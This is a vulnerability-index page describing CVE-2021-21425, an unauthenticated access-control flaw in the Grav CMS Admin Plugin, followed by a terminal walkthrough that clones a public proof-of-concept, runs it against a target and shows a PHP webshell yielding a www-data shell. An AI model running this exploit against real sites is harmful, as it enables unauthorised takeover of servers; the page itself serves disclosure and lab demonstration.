Skip to content
HackIndex logo

HackIndex

CVE-2021-21425:
GravCMS RCE

Published: Feb 25, 2026
Critical
Authorization

CVE-2021-21425 is a critical improper access control issue in the Grav CMS Admin Plugin (versions 1.10.7 and earlier) where an unauthenticated attacker can invoke certain administrator controller methods and create or modify YAML files on the server. It was publicly disclosed in March 2021 and published as a CVE in early April 2021. In practice, this can lead to serious compromise—including configuration tampering and, in common attack chains, remote code execution—potentially letting an attacker take over the affected site.

RCE Grav WordPress

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

bluetoothStrawberry/cve-2021-21425
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/bluetoothStrawberry/cve-2021-21425.git
┌──(kali㉿kali)-[~]
└─$ cd cve-2021-21425
 
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install requests
 
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py --url http://$TARGET_IP/grav-admin
Waiting 1 seconds for http://$TARGET_IP/grav-admin/tmp/60fbe3228b8d5a7b.php creation!
Initiating hacking session
$ whoami
www-data